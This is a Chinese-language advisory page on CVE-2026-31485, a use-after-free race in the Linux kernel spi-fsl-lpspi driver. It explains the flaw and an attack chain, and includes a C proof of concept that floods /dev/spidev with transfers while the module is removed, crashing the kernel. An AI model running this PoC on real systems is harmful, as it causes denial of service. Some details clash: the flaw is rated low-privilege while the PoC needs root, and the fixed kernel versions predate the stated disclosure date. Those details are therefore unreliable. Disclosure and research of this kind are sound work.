IPBUF安全漏洞报告
English
CVE-2026-31485 CVSS 7.8 高危

Linux内核spi-fsl-lpspi驱动UAF漏洞(CVE-2026-31485)

披露日期: 2026-04-22
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31485
漏洞类型
释放后使用 (UAF) / 空指针解引用
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

UAFLinux KernelDoSPrivilege EscalationSPI DriverRace Condition

漏洞概述

Linux内核中的spi-fsl-lpspi驱动程序存在释放后使用(UAF)漏洞。问题出在驱动程序移除时的资源管理顺序上。由于SPI控制器注销被延迟,而DMA通道已被同步拆除,正在进行的SPI传输会尝试访问已释放的内存地址,导致空指针解引用。本地低权限攻击者可利用此漏洞触发内核崩溃,甚至可能实现权限提升。

技术细节

该漏洞源于驱动程序在 `fsl_lpspi_probe` 中使用了 `devm_spi_register_controller()`,这导致SPI控制器的注销操作被推迟到 `fsl_lpspi_remove()` 函数执行完毕之后。然而,`fsl_lpspi_remove()` 内部已经同步执行了DMA通道的销毁操作。如果在DMA通道被拆除、但SPI控制器尚未注销的这段窗口期内,用户空间程序通过 `/dev/spidev` 设备发起I/O请求(如ioctl调用),驱动程序的回调函数 `fsl_lpspi_dma_transfer` 将尝试访问已被释放的DMA资源,从而触发内核空指针解引用错误。这种竞态条件允许攻击者使系统崩溃或执行任意代码。

攻击链分析

STEP 1
步骤1:本地访问
攻击者获得本地低权限用户访问权限。
STEP 2
步骤2:占用设备
攻击者打开 /dev/spidevX.X 设备节点,并持续发起 SPI 数据传输请求(I/O 操作)。
STEP 3
步骤3:触发移除
触发驱动程序的卸载流程(例如通过系统电源管理事件、模块卸载或设备断开)。
STEP 4
步骤4:竞态触发
在 fsl_lpspi_remove 拆除 DMA 通道但控制器尚未注销的间隙,正在进行的传输访问已释放内存,触发 NULL Pointer Dereference。
STEP 5
步骤5:系统崩溃
内核发生 Panic 或崩溃,导致拒绝服务;在特定条件下可能实现代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31485: Trigger UAF in spi-fsl-lpspi driver. * This code keeps the SPI bus busy with transfers. * Requires root access to unload the module or trigger device removal in parallel. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/spi/spidev.h> #define DEVICE "/dev/spidev0.0" int main() { int fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open SPI device"); return -1; } unsigned char tx[256] = {0xFF}; unsigned char rx[256] = {0}; struct spi_ioc_transfer tr = { .tx_buf = (unsigned long)tx, .rx_buf = (unsigned long)rx, .len = sizeof(tx), .speed_hz = 1000000, .bits_per_word = 8, .delay_usecs = 0, }; printf("[+] Starting spamming SPI transfers on %s...\n", DEVICE); printf("[!] In another terminal, remove the module to trigger the crash:\n"); printf(" rmmod spi_fsl_lpspi\n"); while (1) { int ret = ioctl(fd, SPI_IOC_MESSAGE(1), &tr); if (ret < 1) { perror("SPI Transfer failed (Kernel might have panicked)"); break; } } close(fd); return 0; }

影响范围

Linux Kernel < 5.10.200 (Specific commit fix)
Linux Kernel < 5.15.139 (Specific commit fix)
Linux Kernel < 6.1.64 (Specific commit fix)
Linux Kernel < 6.6.4 (Specific commit fix)
Linux Kernel < 6.7-rc1 (Specific commit fix)

防御指南

临时缓解措施
限制非特权用户对 SPI 设备节点的访问权限,防止恶意程序持续发送 I/O 请求。在系统维护期间避免卸载正在使用的内核模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表